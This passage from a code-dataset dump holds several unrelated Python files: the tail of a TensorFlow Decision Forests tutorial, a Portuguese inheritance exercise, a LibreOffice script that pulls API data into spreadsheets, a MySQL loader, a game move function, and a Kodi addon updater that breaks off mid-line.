embeddings\n\"\"\"\n\n\ndef create_linear_model(encoder):\n    inputs = create_model_inputs()\n    embeddings = encoder(inputs)\n    linear_output = layers.Dense(units=1, activation=\"sigmoid\")(embeddings)\n\n    linear_model = keras.Model(inputs=inputs, outputs=linear_output)\n    linear_model.compile(\n        optimizer=keras.optimizers.Adam(),\n        loss=keras.losses.BinaryCrossentropy(),\n        metrics=[keras.metrics.BinaryAccuracy(\"accuracy\")],\n    )\n    return linear_model\n\n\nembedding_encoder = create_embedding_encoder()\nrun_experiment(\n    create_linear_model(embedding_encoder),\n    train_data,\n    test_data,\n    num_epochs=3,\n    batch_size=256,\n)\n\n\"\"\"\n### Train and evaluate a Gradient Boosted Tree model with embeddings\n\"\"\"\n\ngbt_model = create_gbt_with_preprocessor(embedding_encoder)\nrun_experiment(gbt_model, train_data, test_data)\n\n\"\"\"\n## Concluding remarks\n\nTensorFlow Decision Forests provide powerful models, especially with structured data.\nIn our experiments, the Gradient Boosted Tree model achieved 95.79% test accuracy.\nWhen using the target encoding with categorical feature, the same model achieved 95.81% test accuracy.\nWhen pretraining embeddings to be used as inputs to the Gradient Boosted Tree model,\nwe achieved 95.82% test accuracy.\n\nDecision Forests can be used with Neural Networks, either by\n1) using Neural Networks to learn useful representation of the input data,\nand then using Decision Forests for the supervised learning task, or by\n2) creating an ensemble of both Decision Forests and Neural Network models.\n\nNote that TensorFlow Decision Forests does not (yet) support hardware accelerators.\nAll training and inference is done on the CPU.\nBesides, Decision Forests require a finite dataset that fits in memory\nfor their training procedures. However, there are diminishing returns\nfor increasing the size of the dataset, and Decision Forests algorithms\narguably need fewer examples for convergence than large Neural Network models.\n\"\"\"\n","sub_path":"examples/structured_data/classification_with_tfdf.py","file_name":"classification_with_tfdf.py","file_ext":"py","file_size_in_byte":22767,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"51957982","text":"class Eletronico:\n    def __init__(self, nome):\n        self.nome = nome\n        self.ligado = False\n\n    def ligar(self):\n        if self.ligado:\n            return\n        print(f'{self.nome} ligado')\n        self.ligado = True\n\n    def desligar(self):\n        if not self.ligado:\n            return\n        print(f'{self.nome} foi desligado')\n        self.ligado = False\n\n\nclass LogMixin:\n    @staticmethod\n    def write(msg):\n        with open('/PythonCurso/ergo_project/log.log', 'a+') as file:\n            file.write(msg)\n            file.write('\\n')\n\n    def log_info(self, msg):\n        self.write(f'INFO: {msg}')\n\n    def log_error(self, msg):\n        self.write(f'ERROR: {msg}')\n\n\nclass Smartphone(Eletronico, LogMixin):  # <- Herança multipla aqui\n    def __init__(self, nome):\n        super().__init__(nome)\n        self.conectado = False\n\n    def conectar(self):\n        if not self.ligado:\n            info = f'{self.nome} não está ligado' \n            print(info)\n            self.log_error(info)\n            return\n        if self.conectado:\n            error = f'{self.nome} já está conectado' \n            print(error)\n            self.log_error(error)\n            return\n        info = f'{self.nome} está conectado' \n        print(info)\n        self.log_info(info)\n        self.conectado = True\n\n    def desconectar(self):\n        if not self.conectado:\n            error = f'{self.nome} não está conectado' \n            print(error)\n            self.log_error(error)\n            return\n        info = f'{self.nome} foi desligado'\n        print(info)\n        self.log_info(info)\n        self.conectado = False\n\nsmart = Smartphone('Iphone')\n\nsmart.conectar()\nsmart.desligar()\nsmart.ligar()\nsmart.conectar()\nsmart.conectar()\nsmart.conectar()\nsmart.desligar()\nsmart.conectar()\nsmart.desconectar()","sub_path":"aulas/classes/heranca_multipla.py","file_name":"heranca_multipla.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"571429760","text":"# HelloWorld python script for the scripting framework\n\n#\nimport uno\nimport re\nimport json\nfrom functools import partial\nimport requests \nimport os\nimport time\nfrom com.sun.star.beans import PropertyValue\nfrom unohelper import systemPathToFileUrl\n\ntime1=[]\nminuteReports = 0\nmonthReports = 0\nyearReports = 0\ninstantaneousReports=0\nscada_dgr=0\n\ndef envGet(argName):\n    if argName in os.environ:\n        return os.environ[argName]\n    else:\n        return \"\"\n\nspl=0\ntype=envGet(\"TYPE\")\nsd=envGet(\"SD\")\ned=envGet(\"ED\")\nminuteInterval=envGet(\"INTERVAL\")\nblock=envGet(\"BLOCK\") \n\nstartDate=sd[0:4]\nstartMonth=sd[5:7]\nstartYear=sd[8:10]\n\nendDate=ed[0:4]\nendMonth=ed[5:7]\nendYear=ed[8:10]\n\ns_date = startYear\ns_date +=\"-\"\ns_date += startMonth\ns_date +=\"-\"\ns_date += startDate\n\n\ne_date = endYear\ne_date +=\"-\"\ne_date += endMonth\ne_date +=\"-\"\ne_date += endDate\n\n\ndef ddt2lo_load( xyz = 0 ):\n    \n\n    # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n    #\n    # here iPLON Content starts!\n    #\n    # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n    requests.packages.urllib3.disable_warnings() # for https only\n    \n    # very first version: here the OO calc document must already be open:\n    doc = XSCRIPTCONTEXT.getDesktop().getCurrentComponent()\n    \n    # prepare the list of definition ranges:\n    pd_ranges = []\n    \n    # and find them by Name (starting with PD or TPD)\n    \n    ######################## CALCULATE TIMESTAMP TO PRINT IN TARGET FILE START ############################\n    \n   # print(datetime.datetime.fromtimestamp(int(\"1441650600\")).strftime('%Y-%m-%d %H:%M:%S'))\n   \n\n    def minuteReport():\n        \n        \n        global minuteReports\n        global monthReports\n        global yearReports\n        global startMinute\n        global endMinute\n        global startHour\n        global endHour\n        global startDate\n        global endDate\n        global startMonth\n        global endMonth\n        global startYear\n        global endYear\n        global hourInterval\n        global minuteInterval\n        \n        minuteReports = 1\n        startMinute = 0\n        endMinute = 59\n        startHour = 0\n        endHour = 23\n        startDate = int(startDate)\n        endDate = int(startDate) \n        startMonth = int(startMonth)\n        endMonth = int(startMonth)\n        startYear = int(startYear)\n        endYear = int(startYear)\n        hourInterval = 1\n        minuteInterval = int(minuteInterval)\n        \n\n    \n    \n    def monthReport():\n        \n        \n        global minuteReports\n        global monthReports\n        global yearReports\n        global startMinute\n        global endMinute\n        global startHour\n        global endHour\n        global startDate\n        global endDate\n        global startMonth\n        global endMonth\n        global startYear\n        global endYear\n        global hourInterval\n        global minuteInterval\n    \n        monthReports = 1\n        startMinute = 0\n        endMinute = 0\n        startHour = 0\n        endHour = 0\n        startDate = int(startDate)\n        endDate = 31 \n        startMonth = int(startMonth)\n        endMonth = int(startMonth)\n        startYear = int(startYear)\n        endYear = int(startYear)\n        hourInterval = 1\n        minuteInterval = 15\n       \n    \n    def yearReport():\n        \n       \n        global minuteReports\n        global monthReports\n        global yearReports\n        global startMinute\n        global endMinute\n        global startHour\n        global endHour\n        global startDate\n        global endDate\n        global startMonth\n        global endMonth\n        global startYear\n        global endYear\n        global hourInterval\n        global minuteInterval\n    \n        yearReports = 1\n        startMinute = 0\n        endMinute = 0\n        startHour = 0\n        endHour = 0\n        startDate = 31\n        endDate = 31\n        startMonth = int(startMonth)\n        endMonth = 12\n        startYear = int(startYear)\n        endYear = int(startYear)\n        hourInterval = 1\n        minuteInterval = 15\n\n    def instantaneousReport():\n        global instantaneousReports\n        global minuteReports\n        global monthReports\n        global yearReports\n        global startMinute\n        global endMinute\n        global startHour\n        global endHour\n        global startDate\n        global endDate\n        global startMonth\n        global endMonth\n        global startYear\n        global endYear\n        global hourInterval\n        global minuteInterval\n        \n        \n        instantaneousReports=1\n        startMinute = 0\n        endMinute = 59\n        startHour = 0\n        endHour = 23\n        startDate = int(startDate)\n        endDate = int(startDate) \n        startMonth = int(startMonth)\n        endMonth = int(startMonth)\n        startYear = int(startYear)\n        endYear = int(startYear)\n        hourInterval = 1\n        minuteInterval = 15\n        \n        \n    def SpecialReport():\n        global scada_dgr\n        global instantaneousReports\n        global minuteReports\n        global monthReports\n        global yearReports\n        global startMinute\n        global endMinute\n        global startHour\n        global endHour\n        global startDate\n        global endDate\n        global startMonth\n        global endMonth\n        global startYear\n        global endYear\n        global hourInterval\n        global minuteInterval\n        \n        scada_dgr =1\n        startMinute = 0\n        endMinute = 0\n        startHour = 0\n        endHour = 0\n        startDate = int(startDate)\n        endDate = int(startDate) \n        startMonth = int(startMonth)\n        endMonth = int(startMonth)\n        startYear = int(startYear)\n        endYear = int(startYear)\n        hourInterval = 1\n        minuteInterval = 15\n        \n    \n    chooseReport = {\"instantaneous\": instantaneousReport,\n                    \"day\" : minuteReport,\n                    \"month\" : monthReport,\n                    \"year\" : yearReport,\n                    \"scada\" : SpecialReport,\n    }\n\n\n    chooseReport[type]()\n    \n\n    \n    for year in range (startYear, endYear+1):\n        for month in range (startMonth, endMonth+1):\n            for day in range (startDate, endDate+1):\n                for hour in range (startHour, endHour+1, hourInterval):\n                    for minute in range (startMinute, endMinute+1, minuteInterval):\n                        date = str(round(day,2)).zfill(2)\n                        date += \"-\"\n                        date += str(round(month,2)).zfill(2)\n                        date += \"-\"\n                        date += str(round(year,2)).zfill(2)\n                        if (minuteReports == 1):\n                            date += \" \"\n                            #location= (hour * int(60 / minuteInterval)) + (int)(minute / minuteInterval)\n                            date += str(round(hour,2)).zfill(2)\n                            date += \":\"\n                            date += str(round(minute,2)).zfill(2)\n                        time1.append(date)\n                     \n    \n    \n    ######################## CALCULATE TIMESTAMP TO PRINT IN TARGET FILE END ##############################\n    \n    ################################# PRINT TIMESTAMP IN TARGET FILE START ################################\n    \n    #print(doc.NamedRanges.ElementNames)\n    for name in doc.NamedRanges.ElementNames:\n        print(name)\n        if name[:7] == 'T_TIME':\n            #try:\n            timStamp = doc.NamedRanges.getByName(name).ReferredCells\n            #print(timStamp.Rows.Count)\n            timStampColumns = timStamp.Columns.Count\n            timStampRows = timStamp.Rows.Count\n    \n            if (timStamp.Rows.Count > 1):\n                for i in range(0, timStamp.Rows.Count):\n                    if i >= len(time1):\n                        break\n                    timStamp.getCellByPosition(0,i).setFormula(time1[i])\n    \n            else:\n                for i in range(0, timStamp.Columns.Count):\n                    if i >= len(time1):\n                        break\n                    timStamp.getCellByPosition(i,0).setFormula(time1[i])\n            \n        if name[:2] == 'PD':\n            try:\n                r = doc.NamedRanges.getByName(name).ReferredCells\n                target = doc.NamedRanges.getByName(\"T\"+name).ReferredCells\n                \n                if r.Columns.Count < 3:\n                    print (\"too few columns marked in definition range \"+name+\" = \"+r.AbsoluteName)\n                    continue\n                pd_ranges.append((r,target))\n            except:    \n                print(\"no target range for definition range \"+ name)\n                \n    ################################# PRINT TIMESTAMP IN TARGET FILE END ##################################\n    \n    # this function helps to replace mustache-like placeholders for cell ranges,\n    # e.g. in the text of a cell {{$A1}} will be expanded to the content of A1,\n    # where possible, single-dimension ranges of multiple cells like e.g.\n    # {{$A1:$A5}} or {{$A1:$D1}} will be expanded to a comma separated list of \n    # the textual cell contents (formulas).\n    # Also named ranges can be used here.\n    # this expansion is applied to all definition range cells !!!\n    def expand(cell):\n        def evaluate(match, sheet):\n            match = match.group(1)\n            rg = sheet.getCellRangeByName(match)\n            if rg.Columns.Count == 1:\n                if rg.Rows.Count==1:\n                    return rg.getFormula()\n                elif rg.Rows.Count >1:    \n                    strg = \"\"\n                    for i in range(0, rg.Rows.Count):\n                        strg += rg.getCellByPosition(0,i).getFormula()\n                        strg += \",\"\n                    return strg\n                    \n            elif rg.Columns.Count > 1:\n                strg = \"\"\n                for i in range(0, rg.Columns.Count):\n                    strg += rg.getCellByPosition(i, 0).getFormula()\n                    strg += \",\"\n                return strg\n        return re.sub(r'{{(.*)}}', partial(evaluate, sheet= cell.Spreadsheet), cell.getFormula())\n    \n    # the definition range consists of the following cells/columns:\n    \n    OPTIONSCOLUMN = 0           # currently unused, keep it empty now\n    SERVERCOLUMN = 1            # e.g. http://127.0.0.1\n    APICOLUMN = 2               # e.g. /Musiri/ScadaApi/data\n    ARGCOLUMN = 3               # start cell for query arguments\n    \n    # before the query arguments a \"?\" will be added, in between \"&\"\n    \n    ############################# PRINT MINUTE DATA IN TARGET FILE START ##################################\n    \n    def minuteData(row):\n        timeStampApi = row[3]\n        position = int(int(timeStampApi[11:13]) * int(60 / minuteInterval)) - (startHour * int(60 / minuteInterval)) + int(int(timeStampApi[14:16]) / minuteInterval)\n        print(\"position\")\n        print(position)\n        #block=str(block)\n        if (block == \"Nill\" or block == \"NILL\"):\n            targetNameField = row[0] + \"_\" + row[1] + \"_\" + row[2]\n        else:\n            tmprow=row[1]\n            targetNameField = tmprow[4:] + \"_\" + row[2]\n            \n        #print(targetNameField)\n        if (position >= 0) and (position <= (((endHour * int(60 / minuteInterval)) + (int)(endMinute / minuteInterval)) - ((startHour * int(60 / minuteInterval)) + (int)(startMinute / minuteInterval)))):\n            for checkName in doc.NamedRanges.ElementNames:\n                #print(checkName)\n                if checkName == targetNameField:\n                    targetRange = doc.NamedRanges.getByName(targetNameField).ReferredCells\n                    tragetRangeColumns = targetRange.Columns.Count\n                    tragetRangeRows = targetRange.Rows.Count\n                    if (tragetRangeColumns > 1):\n                        tragetRangeColumns = position\n                    else:\n                        tragetRangeColumns = 0\n                    if (tragetRangeRows > 1):\n                        tragetRangeRows = position\n                    else:\n                        tragetRangeRows = 0  \n                        \n                    if(spl == 1):\n                        targetRange.getCellByPosition(14,tragetRangeRows).setFormula(row[4])\n                        targetRange.getCellByPosition(tragetRangeColumns,tragetRangeRows).setFormula(row[3])\n                        \n                    else:\n                        targetRange.getCellByPosition(tragetRangeColumns,tragetRangeRows).setFormula(row[4])\n    \n    def monthData(row):\n        timeStampApi = row[3]\n        position = int(timeStampApi[8:10]) - int(startDate)\n        #print(position)\n        #block=str(block)\n        if (block == \"Nill\" or block == \"NILL\"):\n            targetNameField = row[0] + \"_\" + row[1] + \"_\" + row[2]\n        else:\n            targetNameField = row[4:] + \"_\" + row[2]\n        #print(targetNameField)\n        if (position >= 0) and (position <= (endDate - startDate)):\n            for checkName in doc.NamedRanges.ElementNames:\n                #print(checkName)\n                if checkName == targetNameField:\n                    targetRange = doc.NamedRanges.getByName(targetNameField).ReferredCells\n                    tragetRangeColumns = targetRange.Columns.Count\n                    tragetRangeRows = targetRange.Rows.Count\n                    if (tragetRangeColumns > 1):\n                        tragetRangeColumns = position\n                    else:\n                        tragetRangeColumns = 0\n                    if (tragetRangeRows > 1):\n                        tragetRangeRows = position\n                    else:\n                        tragetRangeRows = 0    \n                    targetRange.getCellByPosition(tragetRangeColumns,tragetRangeRows).setFormula(row[4])\n    \n    def yearData(row):\n        timeStampApi = row[0]\n        position = int(timeStampApi[8:10]) - int(startDate)\n        #print(position)\n        #block=str(block)\n        if (block == \"Nill\" or block == \"NILL\"):\n            targetNameField = row[0] + \"_\" + row[1] + \"_\" + row[2]\n        else:\n            targetNameField = row[4:] + \"_\" + row[2]\n        #print(targetNameField)\n        if (position >= 0) and (position <= (endDate - startDate)):\n            for checkName in doc.NamedRanges.ElementNames:\n                #print(checkName)\n                if checkName == targetNameField:\n                    targetRange = doc.NamedRanges.getByName(targetNameField).ReferredCells\n                    targetRange.getCellByPosition(0,position).setFormula(row[4])\n                    \n    \n    #chooseData = {0 : \"\",\n    #              1 : minuteData(row),\n    #              2 : monthData(row),\n    #              3 : yearData(row),\n    #}\n    \n    ############################# PRINT MINUTE DATA IN TARGET FILE END ####################################\n    \n    def fetchAndInsert(definitionRange, targetRange):\n        j=0\n        for k in range(0,definitionRange.Rows.Count):\n            options = expand(definitionRange.getCellByPosition(OPTIONSCOLUMN,j))\n            server  = expand(definitionRange.getCellByPosition(SERVERCOLUMN,j))\n            api     = expand(definitionRange.getCellByPosition(APICOLUMN,j))\n            url = \"\"\n            url += server\n            url += api\n            url += \"?\"\n            first = True\n            #print(url)\n            #print(definitionRange.Columns.Count)\n            for i in range(ARGCOLUMN, definitionRange.Columns.Count):\n                if first:\n                    first = False\n                else:  \n                    #if i <=5 :\n                    url += \"&\"\n                    #else:\n                        #url+=\",\"\n                    \n                url += expand(definitionRange.getCellByPosition(i,j))\n            print(sd)\n            print(ed)    \n                \n                \n            if(block != \"Nill\"):\n                url += \"&block=\"\n                url += str(block)\n            \n            if(instantaneousReports == 1):\n                url += \"&sd=\"\n                url += sd\n                url += \"&ed=\"\n                url += ed\n \n            if(minuteReports == 1):\n                url += \"&sd=\"\n                url += sd\n                url += \"&ed=\"\n                url += ed\n                \n            if(monthReports == 1):\n                url += \"&sd=\"\n                url += sd\n                url += \"&ed=\"\n                url += ed\n            if(yearReports == 1):\n                url += \"&sd=\"\n                url += sd\n                url += \"&ed=\"\n                url += ed\n            \n                                \n            print (url)        \n            r = requests.get(url)\n            rslt = json.loads(r.text)\n            print(rslt)\n            \n            rslt_rows=0\n            rslt_rows=len(rslt)\n        \n            i=0;n=0;m=0;\n            \n            for row in rslt:\n                if(minuteReports == 1):\n                    \n                    minuteData(row)\n                    \n                elif(monthReports == 1):\n                    monthData(row)\n                    \n                elif(yearReports == 1):\n                    yearData(row)\n                \n                elif(instantaneousReports == 1):\n                    if(rslt_rows == targetRange.Columns.Count):\n                        targetRange.getCellByPosition(i,j).setFormula(row[4])\n                        i+=1\n                        if i>= targetRange.Columns.Count:\n                            break\n                    elif(rslt_rows > targetRange.Columns.Count):\n                        targetRange.getCellByPosition(i,n).setFormula(row[4])\n                        i+=1\n                        if i>= targetRange.Columns.Count:\n                            n+=1;i=0;\n                        if n>= targetRange.Rows.Count:\n                            break\n                elif(scada_dgr == 1):\n                    for z in range(0,targetRange.Columns.Count):\n                        targetRange.getCellByPosition(z,m).setFormula(row[z+1])\n                    m+=1\n                    \n                \n            j+=1\n        \n    # this is the current main execution loop:\n    \n    for r,t in pd_ranges:\n        fetchAndInsert(r,t)\n\ndef ddt2lo_quit(xyz=0):\n    doc = XSCRIPTCONTEXT.getDesktop().getCurrentComponent()\n    doc.setModified(False)\n    doc.dispose()\n\ndef ddt2lo_savehtml(xyz=0):\n    doc = XSCRIPTCONTEXT.getDesktop().getCurrentComponent()\n    url,ext = os.path.splitext(doc.URL)\n    url += \"_total_day\"\n    url += time.strftime(\"_%Y-%m-%d\")\n    url += \".html\"\n\t\n    if doc.NamedRanges.hasByName('SAVEHTML_PD'):\n        fn = doc.NamedRanges.SAVEHTML_PD.getReferredCells().getFormula()\n        if len(fn)>0:\n            url = systemPathToFileUrl(doc.NamedRanges.SAVEHTML_PD.getReferredCells().getFormula())\n            url += s_date\n            url += \"_\"\n            url += e_date\n            url += \".html\"\n    if \"DDT2LO_SAVEAS\" in os.environ:\n        url = systemPathToFileUrl(os.environ[\"DDT2LO_SAVEAS\"])\n    args = (PropertyValue('FilterName',0,'XHTML Calc File', 0),)\n    doc.storeToURL(url, args)\ndef ddt2lo_savepdf(xyz=0):\n    doc = XSCRIPTCONTEXT.getDesktop().getCurrentComponent()\n    url,ext = os.path.splitext(doc.URL)\n    url += time.strftime(\"_%Y%m%d-%H%M%S\")\n    url += \".pdf\"\n    if doc.NamedRanges.hasByName('SAVEPDF_PD'):\n        fn = doc.NamedRanges.SAVEPDF_PD.getReferredCells().getFormula()\n        if len(fn)>0:\n            url = systemPathToFileUrl(doc.NamedRanges.SAVEPDF_PD.getReferredCells().getFormula())\n            url += s_date\n            url += \"_\"\n            url += e_date\n            url += \".pdf\"\n    if \"DDT2LO_SAVEAS\" in os.environ:\n        url = systemPathToFileUrl(os.environ[\"DDT2LO_SAVEAS\"])\n\t\n    def convert_dict_to_PropertyValue_List(sourceDict):\n        properties_List = []\n        for (key, value) in sourceDict.items():\n            p = PropertyValue()\n            p.Name = key\n            p.Value = value\n            properties_List.append(p)\n        return properties_List\n\n    properties=[]\n    p = PropertyValue()\n    p.Name = 'FilterName'\n    p.Value = 'calc_pdf_Export'\n    properties.append(p)\n\n    p = PropertyValue()\n    p.Name = 'Overwrite'\n    p.Value = True\n    properties.append(p)\n\n    filter_data = {\n        # General properties\n        'UseLosslessCompression' : False,\n        'Quality' : 90,\n        'ReduceImageResolution' : False,\n        'MaxImageResolution' : 1200, # 75, 150, 300, 600, 1200\n        'ExportBookmarks' : True,\n        'EmbedStandardFonts' : True,\n        # Links\n        'ExportBookmarksToPDFDestination' : True,\n        'ConvertOOoTargetToPDFTarget' : True,\n        'ExportLinksRelativeFsys' : True,\n        'PDFViewSelection' : 2,\n        # Security\n        # ... see more properties here:\n        # https://wiki.openoffice.org/wiki/API/Tutorials/PDF_export\n    }\n\n    p = PropertyValue()\n    p.Name = 'FilterData'\n    p.Value = uno.Any(\n        \"[]com.sun.star.beans.PropertyValue\",\n        tuple(convert_dict_to_PropertyValue_List(filter_data)))\n    properties.append(p)\n\n    doc.storeToURL(url, tuple(properties))\ndef ddt2lo_save(xyz=0):\n    doc = XSCRIPTCONTEXT.getDesktop().getCurrentComponent()\n    url,ext = os.path.splitext(doc.URL)\n    url += time.strftime(\"_%Y%m%d-%H%M%S\")\n    url += '.xls'\n    if doc.NamedRanges.hasByName('SAVEXLS_PD'):\n        fn = doc.NamedRanges.SAVEXLS_PD.getReferredCells().getFormula()\n        if len(fn)>0:\n            url = systemPathToFileUrl(doc.NamedRanges.SAVEXLS_PD.getReferredCells().getFormula())\n            url += s_date\n            url += \"_\"\n            url += e_date\n            url += \".xls\"\n    if \"DDT2LO_SAVEAS\" in os.environ:\n        url = systemPathToFileUrl(os.environ[\"DDT2LO_SAVEAS\"])\n\n    args = (PropertyValue('FilterName',0,'MS Excel 97', 0),)\n    doc.storeToURL(url, args)\n    \ndef ddt2lo(xyz=0):\n    \n    def checkDo(argName, fct):\n        if argName in os.environ and os.environ[argName] != '' and os.environ[argName] != '0': \n            print(os.environ[argName])\n            fct()\n    \n    checkDo('DDT2LO_LOAD',  ddt2lo_load)\n    checkDo('DDT2LO_SAVEHTML',  ddt2lo_savehtml)\n    checkDo('DDT2LO_SAVEPDF',  ddt2lo_savepdf)\n    checkDo('DDT2LO_SAVE',  ddt2lo_save)\n    checkDo('DDT2LO_QUIT',  ddt2lo_quit)\n\n    \n","sub_path":"cmd/irep/dockerfiles/ddt2lo.py","file_name":"ddt2lo.py","file_ext":"py","file_size_in_byte":22376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"592313646","text":"import pymysql\nimport csv\nimport codecs\n\ndef get_conn(db):\n    return pymysql.connect(\n        host='localhost',\n        user='dooo',\n        password='dooo!',\n        port=3306,\n        db=db,\n        charset='utf8')\n\n# sql_truncate = \"truncate table Meltop\"    ## truncate 는 DDL 이라서 TRANSACTION 이 안먹음\nsql_truncate = \"delete from Meltop\"\nsql_insert = \"insert into SongRank(song_no, rank, rank_date, likecnt, sing_no, album_no) values(%s,%s,%s,%s,%s,%s)\"\nisStart = True\n\ndef save(lst):                                        ## 여러 단계에서 에러를 내본다\n    try:\n        conn = get_conn('dadb')\n        conn.autocommit = False\n        cur = conn.cursor()\n\n        global isStart\n        if isStart:\n            cur.execute(sql_truncate)\n            isStart = False\n        \n        cur.executemany(sql_insert, lst)\n        conn.commit()\n        print(\"Affected RowCount is\", cur.rowcount, \"/\", len(lst))\n\n    except Exception as err:\n        try:\n            conn.rollback()\n        except:\n            print(\"Error!!\", err)\n\n    finally:\n        try:\n            cur.close()\n        except:\n            print(\"Error on close cursor\")\n        try:\n            conn.close()\n        except Exception as err2:\n            print(\"Fail to connect!!\", err2)\n       ","sub_path":"data_transfer/csv_mysql.py","file_name":"csv_mysql.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"93852586","text":"from bord_src import my_utils as mu\n\ndef play_pink_brown(suspect_number, scream_number, game_state, actual_card_played, data):\n    if actual_card_played['suspect'] == True:\n        if scream_number > (suspect_number/2):\n            #move to empty room or dark room\n            print('___case___1')\n            position = mu.move_to_empty_room(game_state, data)\n            if position == -1:\n                position = mu.move_to_dark(game_state, data)\n                if position == -1:\n                    position = 0\n            return position\n        else:\n            #join someone suspect qui ne crie pas\n            print('___case___2')\n            position = mu.join_suspect_scream(game_state, data)\n            if position == -1:\n                position = 0\n            return position\n    else:\n        if scream_number > (suspect_number/2):\n            #déplacer dans une salle avec un personnage non suspect ou seul\n            print('___case___3')\n            print(\"Data contient \", data)\n            position = mu.join_clean_alone(game_state, data)\n            if position == -1:\n                position = mu.join_alone(game_state, data)\n                if position == -1:\n                    position = 0\n            return position\n        else:\n            #join someone suspect\n            print('___case___4')\n            print(\"Data contient \", data)\n            position = mu.join_suspect_scream(game_state, data)\n            if position == -1:\n                position = 0\n            return position","sub_path":"bord_src/fantom/color_pink_brown.py","file_name":"color_pink_brown.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"506455799","text":"import xbmc, xbmcgui, xbmcaddon\r\nimport re, os, time, datetime, traceback\r\nimport urllib2\r\nimport zipfile\r\nimport shutil\r\nimport sys\r\n\r\n# Script constants\r\n__scriptname__ = \"aPiPortail\"\r\n__author__ = \"aPiTV\"\r\n__url__ = \"\"\r\n__credits__ = \"\"\r\n__version__ = \"1.0\"\r\n\r\naddon = xbmcaddon.Addon(id='script.apiportail-fr')\r\nRootDir = addon.getAddonInfo('path')\r\nsys.path.append(os.path.join(RootDir.replace(\";\",\"\"),'src'))\r\n\r\nif RootDir[-1]==';': RootDir=RootDir[0:-1]\r\nif RootDir[0] == '/':\r\n    if RootDir[-1] != '/': RootDir = RootDir+'/'\r\n    SEPARATOR = '/'    \r\nelse:\r\n    if RootDir[-1] != '\\\\': RootDir=RootDir+'\\\\'\r\n    SEPARATOR = '\\\\'\r\n\r\nversion_default = '0.0.0'\r\nversion_URL=''\r\nupdate_URL=''\r\n\r\n#############################################################################\r\ndef onReadVersion():\r\n    version = version_default\r\n    try:\r\n        f=open(RootDir + 'version.dat', 'r')\r\n        data = f.read()\r\n        data = data.splitlines()\r\n        version=data[0]\r\n        f.close()\r\n    except IOError:\r\n        pass\r\n    \r\n    return version\r\n\r\n#############################################################################\r\ndef onReadNewVersion(URL):\r\n    version = version_default\r\n    try:\r\n#oldtimeout=socket_getdefaulttimeout()\r\n#socket_setdefaulttimeout(timeout)\r\n            \r\n        f = urllib2.urlopen(URL)\r\n\r\n        data = f.read()\r\n        data = data.splitlines()    \r\n        version=data[0]   \r\n\r\n    except IOError:\r\n        pass\r\n#socket_setdefaulttimeout(oldtimeout)       \r\n    return version  \r\n\r\n#############################################################################\r\ndef onSaveVersion(version):\r\n    try:\r\n        f=open(RootDir + 'version.dat', 'w')\r\n        f.write(version + '\\n')\r\n        f.close()\r\n    except IOError:\r\n        pass\r\n\r\n######################################################################\r\ndef installUpdate(URL):\r\n    try:\r\n        #oldtimeout=socket_getdefaulttimeout()\r\n        #socket_setdefaulttimeout(timeout)\r\n            \r\n        f = urllib2.urlopen(URL)\r\n\r\n        file = open(RootDir + \"update.zip\", \"wb\")\r\n        file.write(f.read())\r\n        file.close()  \r\n\r\n    except IOError:\r\n        #socket_setdefaulttimeout(oldtimeout)  \r\n        return -1\r\n\r\n    #socket_setdefaulttimeout(oldtimeout)       \r\n\r\n    zfobj = zipfile.ZipFile(RootDir + \"update.zip\")\r\n\r\n    for name in zfobj.namelist():\r\n        index = name.rfind('/')\r\n        if index != -1:\r\n            #entry contains path\r\n            if not os.path.exists(RootDir+name[:index+1]):\r\n                try:\r\n                    #create the directory structure\r\n                    os.makedirs(os.path.join(RootDir, name[:index+1]))\r\n                except IOError:\r\n                    return -1 #failure\r\n                    \r\n        if not name.endswith('/'):\r\n            #entry contains a filename\r\n            try:\r\n                outfile = open(os.path.join(RootDir, name), 'wb')\r\n                outfile.write(zfobj.read(name))\r\n                outfile.close()\r\n            except IOError:\r\n                pass #There was a problem. Continue...\r\n\r\n    zfobj.close()\r\n\r\n    try:\r\n        os.remove(RootDir + \"update.zip\")\r\n    except IOError:\r\n        pass\r\n        \r\n    return 0 #succesful\r\n\r\n######################################################################\r\ndef socket_getdefaulttimeout():\r\n    return socket.getdefaulttimeout()\r\n\r\n######################################################################\r\ndef socket_setdefaulttimeout(url_open_timeout):\r\n    if platform == \"xbox\":\r\n        socket.setdefaulttimeout(url_open_timeout)\r\n\r\n#############################################################################\r\ndef Trace(string):\r\n    f = open(RootDir + \"trace.txt\", \"a\")\r\n    f.write(string + '\\n')\r\n    f.close()\r\n\r\n######################################################################  \r\ndef get_system_platform():\r\n    platform = \"unknown\"\r\n    if xbmc.getCondVisibility( \"system.platform.linux\" ):\r\n        platform = \"linux\"\r\n    elif xbmc.getCondVisibility( \"system.platform.xbox\" ):\r\n        platform = \"xbox\"\r\n    elif xbmc.getCondVisibility( \"system.platform.windows\" ):\r\n        platform = \"windows\"\r\n    elif xbmc.getCondVisibility( \"system.platform.osx\" ):\r\n        platform = \"osx\"\r\n#    Trace(\"Platform: %s\"%platform)\r\n    return platform\r\n\r\n#############################################################################\r\n#############################################################################\r\n\r\n#retrieve the platform.\r\nplatform = get_system_platform()\r\n\r\n#read the current version installed\r\n#version = onReadVersion()\r\n#newversion = onReadNewVersion(version_URL)\r\n\r\n#if (version != version_default) and (newversion != version_default) and \\\r\n#    (version != newversion):\r\n#    installUpdate(update_URL)\r\n#    #save updated version.\r\n#    onSaveVersion(newversion)\r\n#    dialog = xbmcgui.Dialog()\r\n#    dialog.ok(\"Message\", \"aPiTV a ete mis a jour.\")\r\n\r\n\r\n#############################################################################\r\n#Start aPiPortail\r\n#############################################################################\r\nimport apitv\r\nwin = apitv.MainWindow(\"skin.xml\", 